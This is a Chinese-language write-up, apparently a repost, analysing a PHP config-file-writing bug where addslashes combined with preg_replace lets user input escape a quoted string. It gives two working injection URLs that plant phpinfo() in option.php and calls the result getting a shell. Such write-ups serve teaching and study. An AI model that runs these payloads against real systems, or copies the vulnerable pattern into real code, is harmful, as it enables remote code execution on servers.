PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题。
分析一下,漏洞代码:
index.php
<?php $str=addslashes($_GET['option']); $file=file_get_contents('option.php'); $file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); echo $file; file_put_contents('option.php', $file); ?>
option.php
<?php $option='123'; ?>
现在来分析一下代码:
- 对传入的 option 参数进行 addslashes ,比如有单引号
'
,会变成\'
- 通过正则匹配 option.php 中的
$option='123';
,将123的内容替换为经第一步处理的值。 - 替换完成,将其写入 option.php。
场景:写入配置文件。
方法一(利用正则的.*、单引号):
先访问:
http://127.0.0.1/test/index.php?option=123';%0aphpinfo();//
经过 addslashes 后,$str 值为 123\';%0aphpinfo();//
进行正则匹配并写入文件,option.php 的内容变为:
<?php $option='123\'; phpinfo();//'; ?>
再访问:
http://127.0.0.1/test/index.php?option=123
正则匹配时,会将两个单引号里的内容即 123\
,替换为 123
,此时 option.php 的内容变为
<?php $option='123'; phpinfo();//'; ?>
最后访问:http://127.0.0.1/test/option.php
成功 Getshell
方法二(利用preg_replace的转义):
访问:
http://127.0.0.1/test/index.php?option=123\';phpinfo();//
经过 addslashes 后,$str 为 123\\\';phpinfo();//
虽然 addslashes 将\
转义为\\
但是经过preg_replace正则匹配处理后\\
又变为了\ ,三个\\\变成了两个\\
所以最后写入文件option.php 的内容变为:
<?php $option='123\\';phpinfo();//'; ?>
访问:http://127.0.0.1/test/option.php
成功 Getshell
原文链接:http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html
任重而道远!